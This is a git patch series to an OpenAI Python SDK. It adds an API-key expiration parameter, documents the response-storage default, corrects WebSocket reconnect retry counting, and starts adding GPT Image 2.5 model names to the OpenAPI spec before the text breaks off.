.../beta/beta_responses_client_event_param.py | 7 ++-
.../types/beta/response_create_params.py | 7 ++-
.../types/responses/response_create_params.py | 7 ++-
.../types/responses/responses_client_event.py | 7 ++-
.../responses/responses_client_event_param.py | 7 ++-
.../service_accounts/test_api_keys.py | 2 +
tests/test_send_queue_reconnect.py | 4 +-
16 files changed, 204 insertions(+), 26 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index ee2c6c8ad8..9e8258a3d3 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: a363d41d-c644-4a27-a570-9e8b5dcfd77e
-openapi_spec_hash: 731db0c2d22643699b8fbff49661822a
-openapi_transformed_spec_hash: d934ec81f1cae9e4b5eb061f1da4fe3d
+generation_id: 7c85e3b8-1fd9-4422-9e62-0b845e4d0dd6
+openapi_spec_hash: 4e1ab2560f0c0f65641ea0a2d769a0d5
+openapi_transformed_spec_hash: 55e7b75c47c80e83f6e3c2970444e5ba
config_hash: dfe8a20c64cc5d852e69c441cbd28ae7
-codegen_sha: cc61526d915d18b4e4216f7b5bb87af48cf75a4e
-codegen_hash: e1ee819da91a6c8ae8c8af8c4e3054f52eaec918912e9be3b2bd6bc692608d5e
-public_codegen_sha: 97c26a059ea758356d8f1e6b2ebf36504aa91ba2
+codegen_sha: 1a2564e113780db175aecce7b826099172da9171
+codegen_hash: aee79621a90e3602ea790e7bc34cfc58368c4217f4d77921bc8960d65b4a8845
+public_codegen_sha: 5d5101490afb27fea944f63bc21b52140409bf4a
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 1ea8d5dfdf..dc2d4de4eb 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -34049,6 +34049,8 @@ components:
description: |
Whether to store the generated model response for later retrieval via
API.
+ Defaults to true when omitted.
+ If set to true, response data will be stored for at least 30 days, subject to the [data retention exceptions](/api/docs/guides/your-data#v1responses).
default: true
- type: 'null'
instructions:
@@ -66310,6 +66312,13 @@ components:
description: API key scope.
type: array
description: API key scopes.
+ expires_in_seconds:
+ anyOf:
+ - type: integer
+ maximum: 31536000
+ minimum: 1
+ description: Number of seconds until the API key expires.
+ - type: 'null'
type: object
required: []
description: The service account API key create request payload.
@@ -66332,6 +66341,12 @@ components:
type: integer
format: unixtime
description: The Unix timestamp (in seconds) when the API key was created.
+ expires_at:
+ anyOf:
+ - type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) when the API key expires, or null if it does not expire.
+ - type: 'null'
id:
type: string
description: The identifier of the API key.
@@ -80459,6 +80474,8 @@ components:
description: |
Whether to store the generated model response for later retrieval via
API.
+ Defaults to true when omitted.
+ If set to true, response data will be stored for at least 30 days, subject to the [data retention exceptions](/api/docs/guides/your-data#v1responses).
default: true
- type: 'null'
instructions:
diff --git a/src/openai/resources/admin/organization/projects/service_accounts/api_keys.py b/src/openai/resources/admin/organization/projects/service_accounts/api_keys.py
index 96f38b544d..cedd32e001 100644
--- a/src/openai/resources/admin/organization/projects/service_accounts/api_keys.py
+++ b/src/openai/resources/admin/organization/projects/service_accounts/api_keys.py
@@ -2,6 +2,8 @@
from __future__ import annotations
+from typing import Optional
+
import httpx2
from ...... import _legacy_response
@@ -42,6 +44,7 @@ def create(
service_account_id: str,
*,
project_id: str,
+ expires_in_seconds: Optional[int] | Omit = omit,
name: str | Omit = omit,
scopes: SequenceNotStr[str] | Omit = omit,
# Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
@@ -59,6 +62,8 @@ def create(
service_account_id: The ID of the service account.
+ expires_in_seconds: Number of seconds until the API key expires.
+
name: API key name.
scopes: API key scopes.
@@ -83,6 +88,7 @@ def create(
),
body=maybe_transform(
{
+ "expires_in_seconds": expires_in_seconds,
"name": name,
"scopes": scopes,
},
@@ -124,6 +130,7 @@ async def create(
service_account_id: str,
*,
project_id: str,
+ expires_in_seconds: Optional[int] | Omit = omit,
name: str | Omit = omit,
scopes: SequenceNotStr[str] | Omit = omit,
# Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
@@ -141,6 +148,8 @@ async def create(
service_account_id: The ID of the service account.
+ expires_in_seconds: Number of seconds until the API key expires.
+
name: API key name.
scopes: API key scopes.
@@ -165,6 +174,7 @@ async def create(
),
body=await async_maybe_transform(
{
+ "expires_in_seconds": expires_in_seconds,
"name": name,
"scopes": scopes,
},
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 6c515d457f..e3c73c6be1 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -420,6 +420,9 @@ def create(
parameter.
store: Whether to store the generated model response for later retrieval via API.
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
stream: If set to true, the model response data will be streamed to the client as it is
generated using
@@ -822,6 +825,9 @@ def create(
parameter.
store: Whether to store the generated model response for later retrieval via API.
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -1217,6 +1223,9 @@ def create(
parameter.
store: Whether to store the generated model response for later retrieval via API.
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -2375,6 +2384,9 @@ async def create(
parameter.
store: Whether to store the generated model response for later retrieval via API.
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
stream: If set to true, the model response data will be streamed to the client as it is
generated using
@@ -2777,6 +2789,9 @@ async def create(
parameter.
store: Whether to store the generated model response for later retrieval via API.
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -3172,6 +3187,9 @@ async def create(
parameter.
store: Whether to store the generated model response for later retrieval via API.
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -4126,6 +4144,7 @@ def __init__(
self._make_ws = make_ws
self._on_reconnecting = on_reconnecting
self._max_retries = max_retries
+ self._reconnect_attempt = 0
self._initial_delay = initial_delay
self._max_delay = max_delay
self._extra_query = extra_query
@@ -4165,7 +4184,17 @@ async def recv(self) -> BetaResponsesServerEvent:
Canceling this method is safe. There's no risk of losing data.
"""
- return self.parse_event(await self.recv_bytes())
+ event = self.parse_event(await self.recv_bytes())
+ event_type = (
+ cast("dict[str, object]", event).get("type")
+ if isinstance(cast(object, event), dict)
+ else getattr(event, "type", None)
+ )
+ # A successful upgrade can still be followed by an admission error.
+ # Reset the budget only after receiving a non-error application event.
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return event
async def recv_bytes(self) -> bytes:
"""Receive the next message from the connection as raw bytes.
@@ -4238,7 +4267,8 @@ async def _reconnect(self, exc: Exception) -> bool:
self._is_reconnecting = True
- for attempt in range(1, self._max_retries + 1):
+ for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
+ self._reconnect_attempt = attempt
base_delay = min(self._initial_delay * (2 ** (attempt - 1)), self._max_delay)
jitter = 0.75 + random.random() * 0.25
delay = base_delay * jitter
@@ -4583,6 +4613,7 @@ def __init__(
self._make_ws = make_ws
self._on_reconnecting = on_reconnecting
self._max_retries = max_retries
+ self._reconnect_attempt = 0
self._initial_delay = initial_delay
self._max_delay = max_delay
self._extra_query = extra_query
@@ -4622,7 +4653,17 @@ def recv(self) -> BetaResponsesServerEvent:
Canceling this method is safe. There's no risk of losing data.
"""
- return self.parse_event(self.recv_bytes())
+ event = self.parse_event(self.recv_bytes())
+ event_type = (
+ cast("dict[str, object]", event).get("type")
+ if isinstance(cast(object, event), dict)
+ else getattr(event, "type", None)
+ )
+ # A successful upgrade can still be followed by an admission error.
+ # Reset the budget only after receiving a non-error application event.
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return event
def recv_bytes(self) -> bytes:
"""Receive the next message from the connection as raw bytes.
@@ -4693,7 +4734,8 @@ def _reconnect(self, exc: Exception) -> bool:
self._is_reconnecting = True
- for attempt in range(1, self._max_retries + 1):
+ for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
+ self._reconnect_attempt = attempt
base_delay = min(self._initial_delay * (2 ** (attempt - 1)), self._max_delay)
jitter = 0.75 + random.random() * 0.25
delay = base_delay * jitter
diff --git a/src/openai/resources/realtime/realtime.py b/src/openai/resources/realtime/realtime.py
index 3cb815bddf..9b96fb546e 100644
--- a/src/openai/resources/realtime/realtime.py
+++ b/src/openai/resources/realtime/realtime.py
@@ -286,6 +286,7 @@ def __init__(
self._make_ws = make_ws
self._on_reconnecting = on_reconnecting
self._max_retries = max_retries
+ self._reconnect_attempt = 0
self._initial_delay = initial_delay
self._max_delay = max_delay
self._extra_query = extra_query
@@ -329,7 +330,17 @@ async def recv(self) -> RealtimeServerEvent:
Canceling this method is safe. There's no risk of losing data.
"""
- return self.parse_event(await self.recv_bytes())
+ event = self.parse_event(await self.recv_bytes())
+ event_type = (
+ cast("dict[str, object]", event).get("type")
+ if isinstance(cast(object, event), dict)
+ else getattr(event, "type", None)
+ )
+ # A successful upgrade can still be followed by an admission error.
+ # Reset the budget only after receiving a non-error application event.
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return event
async def recv_bytes(self) -> bytes:
"""Receive the next message from the connection as raw bytes.
@@ -401,7 +412,8 @@ async def _reconnect(self, exc: Exception) -> bool:
self._is_reconnecting = True
- for attempt in range(1, self._max_retries + 1):
+ for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
+ self._reconnect_attempt = attempt
base_delay = min(self._initial_delay * (2 ** (attempt - 1)), self._max_delay)
jitter = 0.75 + random.random() * 0.25
delay = base_delay * jitter
@@ -768,6 +780,7 @@ def __init__(
self._make_ws = make_ws
self._on_reconnecting = on_reconnecting
self._max_retries = max_retries
+ self._reconnect_attempt = 0
self._initial_delay = initial_delay
self._max_delay = max_delay
self._extra_query = extra_query
@@ -811,7 +824,17 @@ def recv(self) -> RealtimeServerEvent:
Canceling this method is safe. There's no risk of losing data.
"""
- return self.parse_event(self.recv_bytes())
+ event = self.parse_event(self.recv_bytes())
+ event_type = (
+ cast("dict[str, object]", event).get("type")
+ if isinstance(cast(object, event), dict)
+ else getattr(event, "type", None)
+ )
+ # A successful upgrade can still be followed by an admission error.
+ # Reset the budget only after receiving a non-error application event.
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return event
def recv_bytes(self) -> bytes:
"""Receive the next message from the connection as raw bytes.
@@ -881,7 +904,8 @@ def _reconnect(self, exc: Exception) -> bool:
self._is_reconnecting = True
- for attempt in range(1, self._max_retries + 1):
+ for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
+ self._reconnect_attempt = attempt
base_delay = min(self._initial_delay * (2 ** (attempt - 1)), self._max_delay)
jitter = 0.75 + random.random() * 0.25
delay = base_delay * jitter
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 1618c34b42..4db05d4443 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -334,6 +334,9 @@ def create(
parameter.
store: Whether to store the generated model response for later retrieval via API.
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
stream: If set to true, the model response data will be streamed to the client as it is
generated using
@@ -624,6 +627,9 @@ def create(
parameter.
store: Whether to store the generated model response for later retrieval via API.
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -907,6 +913,9 @@ def create(
parameter.
store: Whether to store the generated model response for later retrieval via API.
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -2198,6 +2207,9 @@ async def create(
parameter.
store: Whether to store the generated model response for later retrieval via API.
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
stream: If set to true, the model response data will be streamed to the client as it is
generated using
@@ -2488,6 +2500,9 @@ async def create(
parameter.
store: Whether to store the generated model response for later retrieval via API.
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -2771,6 +2786,9 @@ async def create(
parameter.
store: Whether to store the generated model response for later retrieval via API.
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -4013,6 +4031,7 @@ def __init__(
self._make_ws = make_ws
self._on_reconnecting = on_reconnecting
self._max_retries = max_retries
+ self._reconnect_attempt = 0
self._initial_delay = initial_delay
self._max_delay = max_delay
self._extra_query = extra_query
@@ -4052,7 +4071,17 @@ async def recv(self) -> ResponsesServerEvent:
Canceling this method is safe. There's no risk of losing data.
"""
- return self.parse_event(await self.recv_bytes())
+ event = self.parse_event(await self.recv_bytes())
+ event_type = (
+ cast("dict[str, object]", event).get("type")
+ if isinstance(cast(object, event), dict)
+ else getattr(event, "type", None)
+ )
+ # A successful upgrade can still be followed by an admission error.
+ # Reset the budget only after receiving a non-error application event.
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return event
async def recv_bytes(self) -> bytes:
"""Receive the next message from the connection as raw bytes.
@@ -4125,7 +4154,8 @@ async def _reconnect(self, exc: Exception) -> bool:
self._is_reconnecting = True
- for attempt in range(1, self._max_retries + 1):
+ for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
+ self._reconnect_attempt = attempt
base_delay = min(self._initial_delay * (2 ** (attempt - 1)), self._max_delay)
jitter = 0.75 + random.random() * 0.25
delay = base_delay * jitter
@@ -4470,6 +4500,7 @@ def __init__(
self._make_ws = make_ws
self._on_reconnecting = on_reconnecting
self._max_retries = max_retries
+ self._reconnect_attempt = 0
self._initial_delay = initial_delay
self._max_delay = max_delay
self._extra_query = extra_query
@@ -4509,7 +4540,17 @@ def recv(self) -> ResponsesServerEvent:
Canceling this method is safe. There's no risk of losing data.
"""
- return self.parse_event(self.recv_bytes())
+ event = self.parse_event(self.recv_bytes())
+ event_type = (
+ cast("dict[str, object]", event).get("type")
+ if isinstance(cast(object, event), dict)
+ else getattr(event, "type", None)
+ )
+ # A successful upgrade can still be followed by an admission error.
+ # Reset the budget only after receiving a non-error application event.
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return event
def recv_bytes(self) -> bytes:
"""Receive the next message from the connection as raw bytes.
@@ -4580,7 +4621,8 @@ def _reconnect(self, exc: Exception) -> bool:
self._is_reconnecting = True
- for attempt in range(1, self._max_retries + 1):
+ for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
+ self._reconnect_attempt = attempt
base_delay = min(self._initial_delay * (2 ** (attempt - 1)), self._max_delay)
jitter = 0.75 + random.random() * 0.25
delay = base_delay * jitter
diff --git a/src/openai/types/admin/organization/projects/service_accounts/api_key_create_params.py b/src/openai/types/admin/organization/projects/service_accounts/api_key_create_params.py
index adeaf17ee5..4964231317 100644
--- a/src/openai/types/admin/organization/projects/service_accounts/api_key_create_params.py
+++ b/src/openai/types/admin/organization/projects/service_accounts/api_key_create_params.py
@@ -2,6 +2,7 @@
from __future__ import annotations
+from typing import Optional
from typing_extensions import Required, TypedDict
from ......_types import SequenceNotStr
@@ -13,6 +14,9 @@ class APIKeyCreateParams(TypedDict, total=False):
project_id: Required[str]
"""The ID of the project."""
+ expires_in_seconds: Optional[int]
+ """Number of seconds until the API key expires."""
+
name: str
"""API key name."""
diff --git a/src/openai/types/admin/organization/projects/service_accounts/api_key_create_response.py b/src/openai/types/admin/organization/projects/service_accounts/api_key_create_response.py
index b7463b0c23..cefcf98a4c 100644
--- a/src/openai/types/admin/organization/projects/service_accounts/api_key_create_response.py
+++ b/src/openai/types/admin/organization/projects/service_accounts/api_key_create_response.py
@@ -1,5 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from typing import Optional
from typing_extensions import Literal
from ......_models import BaseModel
@@ -22,3 +23,9 @@ class APIKeyCreateResponse(BaseModel):
value: str
"""The unredacted API key value."""
+
+ expires_at: Optional[int] = None
+ """
+ The Unix timestamp (in seconds) when the API key expires, or null if it does not
+ expire.
+ """
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index 94709417cd..091bd015c3 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -544,7 +544,12 @@ class ResponseCreate(BaseModel):
"""
store: Optional[bool] = None
- """Whether to store the generated model response for later retrieval via API."""
+ """Whether to store the generated model response for later retrieval via API.
+
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ """
stream: Optional[bool] = None
"""
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 2ff8d6ad39..576ca59bb8 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -543,7 +543,12 @@ class ResponseCreate(TypedDict, total=False):
"""
store: Optional[bool]
- """Whether to store the generated model response for later retrieval via API."""
+ """Whether to store the generated model response for later retrieval via API.
+
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ """
stream: Optional[bool]
"""
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index 587c68656c..cddb7cd966 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -350,7 +350,12 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"""
store: Optional[bool]
- """Whether to store the generated model response for later retrieval via API."""
+ """Whether to store the generated model response for later retrieval via API.
+
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ """
stream_options: Optional[StreamOptions]
"""Options for streaming responses. Only set this when you set `stream: true`."""
diff --git a/src/openai/types/responses/response_create_params.py b/src/openai/types/responses/response_create_params.py
index 7d08e9b03e..11669bef05 100644
--- a/src/openai/types/responses/response_create_params.py
+++ b/src/openai/types/responses/response_create_params.py
@@ -240,7 +240,12 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"""
store: Optional[bool]
- """Whether to store the generated model response for later retrieval via API."""
+ """Whether to store the generated model response for later retrieval via API.
+
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ """
stream_options: Optional[StreamOptions]
"""Options for streaming responses. Only set this when you set `stream: true`."""
diff --git a/src/openai/types/responses/responses_client_event.py b/src/openai/types/responses/responses_client_event.py
index 4df5625f5e..2ba335a523 100644
--- a/src/openai/types/responses/responses_client_event.py
+++ b/src/openai/types/responses/responses_client_event.py
@@ -379,7 +379,12 @@ class ResponseCreate(BaseModel):
"""
store: Optional[bool] = None
- """Whether to store the generated model response for later retrieval via API."""
+ """Whether to store the generated model response for later retrieval via API.
+
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ """
stream: Optional[bool] = None
"""
diff --git a/src/openai/types/responses/responses_client_event_param.py b/src/openai/types/responses/responses_client_event_param.py
index 79a6a8fd00..b0b68c50e5 100644
--- a/src/openai/types/responses/responses_client_event_param.py
+++ b/src/openai/types/responses/responses_client_event_param.py
@@ -379,7 +379,12 @@ class ResponseCreate(TypedDict, total=False):
"""
store: Optional[bool]
- """Whether to store the generated model response for later retrieval via API."""
+ """Whether to store the generated model response for later retrieval via API.
+
+ Defaults to true when omitted. If set to true, response data will be stored for
+ at least 30 days, subject to the
+ [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ """
stream: Optional[bool]
"""
diff --git a/tests/api_resources/admin/organization/projects/service_accounts/test_api_keys.py b/tests/api_resources/admin/organization/projects/service_accounts/test_api_keys.py
index 465c192140..8e45430f96 100644
--- a/tests/api_resources/admin/organization/projects/service_accounts/test_api_keys.py
+++ b/tests/api_resources/admin/organization/projects/service_accounts/test_api_keys.py
@@ -30,6 +30,7 @@ def test_method_create_with_all_params(self, client: OpenAI) -> None:
api_key = client.admin.organization.projects.service_accounts.api_keys.create(
service_account_id="service_account_id",
project_id="project_id",
+ expires_in_seconds=1,
name="name",
scopes=["string"],
)
@@ -94,6 +95,7 @@ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) ->
api_key = await async_client.admin.organization.projects.service_accounts.api_keys.create(
service_account_id="service_account_id",
project_id="project_id",
+ expires_in_seconds=1,
name="name",
scopes=["string"],
)
diff --git a/tests/test_send_queue_reconnect.py b/tests/test_send_queue_reconnect.py
index 008af801d4..9314b6a415 100644
--- a/tests/test_send_queue_reconnect.py
+++ b/tests/test_send_queue_reconnect.py
@@ -40,7 +40,7 @@ def failing_send(data: str) -> None:
make_ws=MagicMock(return_value=ws),
on_reconnecting=lambda _event: None,
initial_delay=0,
- max_retries=1,
+ max_retries=4,
)
for _ in range(3):
assert connection._reconnect(RuntimeError("fake disconnect"))
@@ -85,7 +85,7 @@ async def failing_send(data: str) -> None:
make_ws=AsyncMock(return_value=ws),
on_reconnecting=lambda _event: None,
initial_delay=0,
- max_retries=1,
+ max_retries=4,
)
for _ in range(3):
assert await connection._reconnect(RuntimeError("fake disconnect"))
From 5b39c453ee5ee8f46fba0bd9cb4ae47fa5ee6d51 Mon Sep 17 00:00:00 2001
From: Marcus Wood
Date: Tue, 8 Sep 2026 16:48:22 -0700
Subject: [PATCH 106/341] feat(api): add GPT Image 2.5 models and image options
(#3824)
Adds GPT Image 2.5 Sunburst/Flare aliases and September 8 snapshots,
`xhigh`/`max` quality, and custom image dimensions.
- Exposes optional, nullable `quality` and `size` on Responses image
calls, including `quality: "auto"`.
- Clarifies Live and Realtime webhook call IDs.
- Preserves WebSocket reconnect retry accounting when raw events are
received.
Co-authored-by: marcuswood-oai <323319819+marcuswood-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +-
api_reference/openapi.transformed.yml | 318 +++++++---
.../resources/beta/responses/responses.py | 18 +
src/openai/resources/images.py | 578 ++++++++++--------
src/openai/resources/realtime/realtime.py | 18 +
src/openai/resources/responses/responses.py | 18 +
.../types/beta/beta_response_input_item.py | 9 +
.../beta/beta_response_input_item_param.py | 9 +
.../types/beta/beta_response_input_param.py | 9 +
src/openai/types/beta/beta_response_item.py | 9 +
.../types/beta/beta_response_output_item.py | 9 +
src/openai/types/beta/beta_tool.py | 54 +-
src/openai/types/beta/beta_tool_param.py | 54 +-
.../types/conversations/conversation_item.py | 9 +
.../types/image_edit_completed_event.py | 7 +-
src/openai/types/image_edit_params.py | 57 +-
.../types/image_edit_partial_image_event.py | 7 +-
src/openai/types/image_gen_completed_event.py | 7 +-
.../types/image_gen_partial_image_event.py | 7 +-
src/openai/types/image_generate_params.py | 50 +-
src/openai/types/image_model.py | 4 +
src/openai/types/images_response.py | 14 +-
.../types/responses/response_input_item.py | 9 +
.../responses/response_input_item_param.py | 9 +
.../types/responses/response_input_param.py | 9 +
src/openai/types/responses/response_item.py | 9 +
.../types/responses/response_output_item.py | 9 +
src/openai/types/responses/tool.py | 54 +-
src/openai/types/responses/tool_param.py | 54 +-
.../live_call_incoming_webhook_event.py | 5 +-
.../realtime_call_incoming_webhook_event.py | 4 +-
tests/test_send_queue_reconnect.py | 2 +
32 files changed, 945 insertions(+), 498 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 9e8258a3d3..7ecbbca4e2 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 7c85e3b8-1fd9-4422-9e62-0b845e4d0dd6
-openapi_spec_hash: 4e1ab2560f0c0f65641ea0a2d769a0d5
-openapi_transformed_spec_hash: 55e7b75c47c80e83f6e3c2970444e5ba
-config_hash: dfe8a20c64cc5d852e69c441cbd28ae7
-codegen_sha: 1a2564e113780db175aecce7b826099172da9171
-codegen_hash: aee79621a90e3602ea790e7bc34cfc58368c4217f4d77921bc8960d65b4a8845
-public_codegen_sha: 5d5101490afb27fea944f63bc21b52140409bf4a
+generation_id: c48dfb66-88a5-4465-96d1-0585b9ab8215
+openapi_spec_hash: 0ac5ea4ab2546a188a36a0d370367637
+openapi_transformed_spec_hash: 6be6c39576ec27111cab26c251d2ab65
+config_hash: d92ec885ac2a08b6a4c1ff90420f0327
+codegen_sha: 9a9f8502cf7f372b0bc13c052819b78d02991ca5
+codegen_hash: 82d1c3235b99cb90187912ae7dd653fba230efd59dbf3c947b6c522a1a801d85
+public_codegen_sha: db47bcd202616d35b583b2433270b565be76233a
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index dc2d4de4eb..1cc46fbb40 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -7792,7 +7792,7 @@ paths:
tags:
- Images
summary: Create image edit
- description: Creates an edited or extended image given one or more source images and a prompt. This endpoint supports GPT Image models (`gpt-image-1.5`, `gpt-image-1`, `gpt-image-1-mini`, and `chatgpt-image-latest`) and `dall-e-2`.
+ description: Creates an edited or extended image given one or more source images and a prompt. This endpoint supports GPT Image models and `dall-e-2`.
requestBody:
required: true
content:
@@ -33170,13 +33170,15 @@ components:
description: |
The image(s) to edit. Must be a supported image file or an array of images.
- For the GPT image models (`gpt-image-1`, `gpt-image-1-mini`,
- `gpt-image-1.5`, `gpt-image-2`, `gpt-image-2-2026-04-21`, and
- `chatgpt-image-latest`), each image should be a `png`, `webp`, or
- `jpg` file less than 50MB. You can provide up to 16 images.
+ For the GPT image models (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`,
+ `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, and `chatgpt-image-latest`), each image
+ should be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to
+ 16 images.
- For `dall-e-2`, you can only provide one image, and it should be a
- square `png` file less than 4MB.
+ For `dall-e-2`, you can only provide one image, and it should be a square
+ `png` file less than 4MB.
x-oaiMeta:
exampleFilePath: otter.png
prompt:
@@ -33199,15 +33201,16 @@ components:
example: transparent
nullable: true
description: |
- Allows to set transparency for the background of the generated image(s).
- Must be one of `transparent`, `opaque`, or `auto` (default value). When
- `auto` is used, the model will automatically determine the best
- background for the image.
+ Allows to set transparency for the background of the generated image(s). Must
+ be one of `transparent`, `opaque`, or `auto` (default value). When `auto` is
+ used, the model will automatically determine the best background for the
+ image.
- Transparent backgrounds are available for supported GPT Image models.
- For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in
- preview. When using `transparent`, set the output format to `png` or
- `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
model:
anyOf:
- type: string
@@ -33217,12 +33220,16 @@ components:
- gpt-image-1-mini
- gpt-image-2
- gpt-image-2-2026-04-21
+ - gpt-image-2.5-sunburst
+ - gpt-image-2.5-sunburst-2026-09-08
+ - gpt-image-2.5-flare
+ - gpt-image-2.5-flare-2026-09-08
- gpt-image-1.5
- chatgpt-image-latest
- dall-e-2
x-stainless-const: true
x-oaiTypeLabel: string
- description: The model to use for image generation. One of `dall-e-2` or a GPT image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`, `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`). Defaults to `gpt-image-1.5`.
+ description: The model to use for image generation. One of `dall-e-2` or a GPT image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`). Defaults to `gpt-image-1.5`.
nullable: true
example: gpt-image-2
n:
@@ -33244,7 +33251,7 @@ components:
- 1536x1024
- 1024x1536
- auto
